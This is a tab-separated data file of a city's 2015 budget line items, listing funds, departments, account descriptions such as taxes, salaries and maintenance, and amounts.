17106	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511730.0	WORKERS' COMP INSURANCE	810.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
17107	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	533220.0	BLDG / STRUCTURE MAINTENANCE	810.0	 Supplies and Expenses	2015	188531.0	0	0	0	0	0	0.0	0	0	0	0	0.0	188531.0
17108	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400030.0	PROPERTY TAXES-CLRR-AIRCRAFT	602.0	Property Taxes	2015	-326000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-326000.0
17109	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400350.0	STATUATORY PASS-THROUGHS	602.0	Property Taxes	2015	-2339977.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-2339977.0
17110	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400480.0	SALES TAX IN-LIEU	604.0	Sales Tax	2015	-4555465.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-4555465.0
17111	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522920.0	VEHICLES - REPAIRS	810.0	 Supplies and Expenses	2015	1527.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1527.0
17112	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	523000.0	VEHICLE MGMT FUND-MAINTENANCE	810.0	 Supplies and Expenses	2015	8493.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8493.0
17113	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579005.0	DISCRET-RESIDENT SURVEY	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
17114	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579008.0	DISCRET-GRADES FOR GREEN	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
17115	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	533220.0	BLDG / STRUCTURE MAINTENANCE	808.0	 Supplies and Expenses	2015	10000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10000.0
17116	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	576530.0	TRANSFER TO 04 FUND	910.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
17117	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2015	522.0	0	0	0	0	0	0.0	0	0	0	0	0.0	522.0
17118	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	410150.0	BIKE RACKS	612.0	Charges for Service	2015	-962.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-962.0
17119	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	410170.0	SIGN REMOVAL	612.0	Charges for Service	2015	-6000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-6000.0
17120	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2015	55332.0	0	0	0	0	0	0.0	0	0	0	0	0.0	55332.0
17121	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544090.0	MEDICAL/FIRST AID SUPPLIES	808.0	 Supplies and Expenses	2015	1920.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1920.0
17122	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511749.0	VISION	808.0	Salaries and Wages	2015	147.0	0	0	0	0	0	0.0	0	0	0	0	0.0	147.0
17123	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2015	-1567.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1567.0
17124	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511920.0	UNIFORM / TOOL ALLOWANCE	808.0	Salaries and Wages	2015	720.0	0	0	0	0	0	0.0	0	0	0	0	0.0	720.0
17125	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522540.0	ADVERTISING	808.0	 Supplies and Expenses	2015	35000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	35000.0
17126	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
17127	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	409190.0	COMMERCIAL INSTRUCTOR PERMIT F	612.0	Charges for Service	2015	-2200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-2200.0
17128	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	404170.0	OTHER REVENUE - MISCELLANEOUS	622.0	Other	2015	-223000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-223000.0
17129	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	401210.0	DAMAGE TO CITY PROPERTY	622.0	Other	2015	-50000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-50000.0
17130	BA	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2015	-66000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-66000.0
17131	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2015	368330.0	0	0	0	0	0	0.0	0	0	0	0	0.0	368330.0
17132	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2015	-20186.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-20186.0
17133	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DISABILITY INSURANCE	808.0	Salaries and Wages	2015	9343.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9343.0
17134	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2015	139930.0	0	0	0	0	0	0.0	0	0	0	0	0.0	139930.0
17135	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	533210.0	BLDG OPER / CUST SUPPLIES	810.0	 Supplies and Expenses	2015	8475.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8475.0
17136	BA	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577703.0	PROP A REIMBURSEMENT ADMIN	910.0	 Supplies and Expenses	2015	50000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	50000.0
17137	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	533020.0	GENERAL LIABILITY / AUTO	810.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
17138	BA	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577701.0	PROP A REIMBURSEMENT WISE	910.0	 Supplies and Expenses	2015	600000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	600000.0
17139	BA	IS	31	Wastewater Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577500.0	TRANSFER - GF CODE COMPLIANCE		 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
17140	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400010.0	PROPERTY TAXES - SECURED	602.0	Property Taxes	2015	-26715138.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-26715138.0
17141	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400060.0	PROPERTY TAXES-DEL-SEC/UNSEC	602.0	Property Taxes	2015	-666000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-666000.0
17142	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400160.0	SALES / USE TAX	604.0	Sales Tax	2015	-33762347.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-33762347.0
17143	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522910.0	VEHICLES - FUELS / LUBRICATION	810.0	 Supplies and Expenses	2015	1018.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1018.0
17144	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400140.0	UTILITIES USERS TAX	606.0	Other Local Taxes	2015	-33039386.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-33039386.0
17145	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400190.0	BUSINESS LICENSE TAXES	606.0	Other Local Taxes	2015	-30870745.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-30870745.0
17146	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400840.0	VEHICLE LICENSE FEES	606.0	Other Local Taxes	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
17147	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	405100.0	PARKING FACILITY TAX	606.0	Other Local Taxes	2015	-11300000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-11300000.0
17148	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	410140.0	TRANSPORTATION ENG SVCS	612.0	Charges for Service	2015	-40000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-40000.0
17149	BA	IS	20	Miscellaneous Grants Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	410200.0	PROGRAM INCOME	610.0	Intergovernmental	2015	-100000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-100000.0
17150	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562703.0	HOSPITALITY TRAINING ACADEMY		 Supplies and Expenses	2015	56832.0	0	0	0	0	0	0.0	0	0	0	0	0.0	56832.0
17151	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	566920.0	YRT COLLABORATIVE		 Supplies and Expenses	2015	297034.0	0	0	0	0	0	0.0	0	0	0	0	0.0	297034.0
17152	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	533125.0	BEACH FAC FUEL STN MAINT	808.0	 Supplies and Expenses	2015	1100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1100.0
17153	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2015	67591.0	0	0	0	0	0	0.0	0	0	0	0	0.0	67591.0
17154	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511490.0	OVERTIME	808.0	Salaries and Wages	2015	4529.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4529.0
17155	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555030.0	EMPLOYEE MEDICAL EXAMS	808.0	 Supplies and Expenses	2015	300.0	0	0	0	0	0	0.0	0	0	0	0	0.0	300.0
17156	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	401090.0	INDIRECT COSTS	612.0	Charges for Service	2015	-11302029.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-11302029.0
17157	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	408590.0	SA COLLECTIVE BARGAINING COSTS	622.0	Other	2015	-312400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-312400.0
17158	BA	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	402920.0	PROP A LOCAL RETURN	610.0	Intergovernmental	2015	-723364.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-723364.0
17159	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511681.0	VACANCY SAVINGS	808.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
17160	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2015	4204.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4204.0
17161	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EAP	808.0	Salaries and Wages	2015	414.0	0	0	0	0	0	0.0	0	0	0	0	0.0	414.0
17162	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2015	1010.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1010.0
17163	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2015	1350.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1350.0
17164	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511748.0	DENTAL	808.0	Salaries and Wages	2015	18639.0	0	0	0	0	0	0.0	0	0	0	0	0.0	18639.0
17165	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	566650.0	MALL MAINTENANCE	808.0	 Supplies and Expenses	2015	152000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	152000.0
17166	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570320.0	TRANS FROM 04-GLOW, PLGRND PRT	908.0	 Supplies and Expenses	2015	-35600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-35600.0
17167	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	533220.0	BUILDING / STRUCTURE MAINT	804.0	 Supplies and Expenses	2015	18500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	18500.0
17168	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	804.0	Salaries and Wages	2015	1305.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1305.0
17169	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	408490.0	RESIDENTIAL REPORT MONITORING	612.0	Charges for Service	2015	-1500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1500.0
17170	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511747.0	CASH-IN-LIEU	810.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
17171	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511749.0	VISION	810.0	Salaries and Wages	2015	147.0	0	0	0	0	0	0.0	0	0	0	0	0.0	147.0
17172	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE		DCAP	808.0	Salaries and Wages	2015	1706.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1706.0
17173	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522312.0	DISCOUNTS LOST	808.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
17174	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2015	326696.0	0	0	0	0	0	0.0	0	0	0	0	0.0	326696.0
17175	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2015	1432787.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1432787.0
17176	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	408000.0	INTERFUND SERVICES-OPEN SP	612.0	Charges for Service	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17177	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2015	-3753	0	0	0	0	0	0	0	0	0	0	0	-3753
17178	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2015	-9595	0	0	0	0	0	0	0	0	0	0	0	-9595
17179	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2015	824	0	0	0	0	0	0	0	0	0	0	0	824
17180	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2015	10000	0	0	0	0	0	0	0	0	0	0	0	10000
17181	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2015	19597	0	0	0	0	0	0	0	0	0	0	0	19597
17182	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2015	36960	0	0	0	0	0	0	0	0	0	0	0	36960
17183	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2015	25000	0	0	0	0	0	0	0	0	0	0	0	25000
17184	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17185	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		BLDG/STR MAINT-COLO ESP	808.0	 Supplies and Expenses	2015	20000	0	0	0	0	0	0	0	0	0	0	0	20000
17186	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		UNEMPLOYMENT	808.0	Salaries and Wages	2015	332	0	0	0	0	0	0	0	0	0	0	0	332
17187	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2015	1501	0	0	0	0	0	0	0	0	0	0	0	1501
17188	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2015	4000	0	0	0	0	0	0	0	0	0	0	0	4000
17189	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400351.0	RPTTF RESIDUALS	602.0	Property Taxes	2015	-5368227	0	0	0	0	0	0	0	0	0	0	0	-5368227
17190	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	405090.0	CITY YARDS LEASE	618.0	Rentals	2015	-1433025	0	0	0	0	0	0	0	0	0	0	0	-1433025
17191	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	544120.0	PERIODICALS	808.0	 Supplies and Expenses	2015	200	0	0	0	0	0	0	0	0	0	0	0	200
17192	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	408620.0	FTA NEW FREEDOM GRANT	610.0	Intergovernmental	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17193	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	540590.0	EMPLOYEE RECOGNITION & APPRECI	808.0	 Supplies and Expenses	2015	2280	0	0	0	0	0	0	0	0	0	0	0	2280
17194	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579961.0	BBB-GEN FUND REIMB-MISC	908.0	 Supplies and Expenses	2015	-50000	0	0	0	0	0	0	0	0	0	0	0	-50000
17195	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	400774.0	1630 17TH ST SUBLEASE	618.0	Rentals	2015	-112772	0	0	0	0	0	0	0	0	0	0	0	-112772
17196	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	555700.0	REGULATORY AGENCY FEES	808.0	 Supplies and Expenses	2015	8000	0	0	0	0	0	0	0	0	0	0	0	8000
17197	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	408630.0	SBDC RENT PYMT-SMC REIMBURSEME	650.0	Charges for Service	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17198	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	408640.0	CO ESPLANADE - CMAQ	610.0	Intergovernmental	2015	-1098000	0	0	0	0	0	0	0	0	0	0	0	-1098000
17199	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	401328.0	PERMITS -PARKING STRUCTURE 7&8	608.0	Licenses and Permits	2015	-224000	0	0	0	0	0	0	0	0	0	0	0	-224000
17200	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	408240.0	PARKING STRUCTURE 10	608.0	Licenses and Permits	2015	-289000	0	0	0	0	0	0	0	0	0	0	0	-289000
17201	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	552010.0	CUSTODIAL SERVICES	804.0	 Supplies and Expenses	2015	1350	0	0	0	0	0	0	0	0	0	0	0	1350
17202	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	555061.0	PROF SVCS - LUCE MONITORING	816.0	 Supplies and Expenses	2015	152700	0	0	0	0	0	0	0	0	0	0	0	152700
17203	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2015	198036	0	0	0	0	0	0	0	0	0	0	0	198036
17204	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2015	39231	0	0	0	0	0	0	0	0	0	0	0	39231
17205	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	410160.0	BLOCK PARTIES	612.0	Charges for Service	2015	-1000	0	0	0	0	0	0	0	0	0	0	0	-1000
17206	BA	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	404900.0	TMP FEES	612.0	Charges for Service	2015	-580000	0	0	0	0	0	0	0	0	0	0	0	-580000
17207	BA	IS	12	Housing Authority Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578020.0	HOME PROGRAM ADMIN	908.0	 Supplies and Expenses	2015	-52421	0	0	0	0	0	0	0	0	0	0	0	-52421
17208	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	533124.0	CITY YARDS CONV FUEL STN MAINT	808.0	 Supplies and Expenses	2015	5200	0	0	0	0	0	0	0	0	0	0	0	5200
17209	BA	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	403635.0	JUSTICE ASSIST GRANT 2013-OT	610.0	Intergovernmental	2015	-29283	0	0	0	0	0	0	0	0	0	0	0	-29283
17210	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2015	28484	0	0	0	0	0	0	0	0	0	0	0	28484
17211	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511748.0	DENTAL	808.0	Salaries and Wages	2015	1220	0	0	0	0	0	0	0	0	0	0	0	1220
17212	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2015	120	0	0	0	0	0	0	0	0	0	0	0	120
17213	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2015	500	0	0	0	0	0	0	0	0	0	0	0	500
17214	BA	IS	44	SCAQMD AB 2766 Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2015	-3000	0	0	0	0	0	0	0	0	0	0	0	-3000
17215	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	401320.0	PARKING STRUCTURE PERMITS	608.0	Licenses and Permits	2015	-1253000	0	0	0	0	0	0	0	0	0	0	0	-1253000
17216	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	404860.0	1630 5TH LOT 29 (5TH & COLORA)	608.0	Licenses and Permits	2015	-67000	0	0	0	0	0	0	0	0	0	0	0	-67000
17217	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	407260.0	STRUCTURE 9 PARKING	608.0	Licenses and Permits	2015	-512000	0	0	0	0	0	0	0	0	0	0	0	-512000
17218	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	410220.0	DOWNTOWN ADVERTISING REVENUE	612.0	Charges for Service	2015	-325000	0	0	0	0	0	0	0	0	0	0	0	-325000
17219	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	402521.0	1450 OCEAN ACTIVITIES	612.0	Charges for Service	2015	-8000	0	0	0	0	0	0	0	0	0	0	0	-8000
17220	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	408660.0	INTERFUND SERVICES-BEACH FUND	612.0	Charges for Service	2015	-192510	0	0	0	0	0	0	0	0	0	0	0	-192510
17221	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	402040.0	SM PIER - OTHER REVENUES	662.0	Other	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17222	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400040.0	SUPPLEMENTAL PROPERTY TAX	602.0	Property Taxes	2015	-350000	0	0	0	0	0	0	0	0	0	0	0	-350000
17223	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579004.0	DISCRET-COMM CAREER DEVE	804.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17224	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579006.0	DISCRET-SM FESTIVAL	804.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17225	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579009.0	DISCRET-WATER SUSTAIN	804.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17226	BA	IS	4	Special Revenue Source Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	404178.0	RESIDUAL RECEIPTS-HOUSING	622.0	Other	2015	-50000	0	0	0	0	0	0	0	0	0	0	0	-50000
17227	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	533126.0	WATER DIV CNG STN MAINT	808.0	 Supplies and Expenses	2015	2100	0	0	0	0	0	0	0	0	0	0	0	2100
17228	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	555850.0	PROGRAM SUPPLIES	804.0	 Supplies and Expenses	2015	250000	0	0	0	0	0	0	0	0	0	0	0	250000
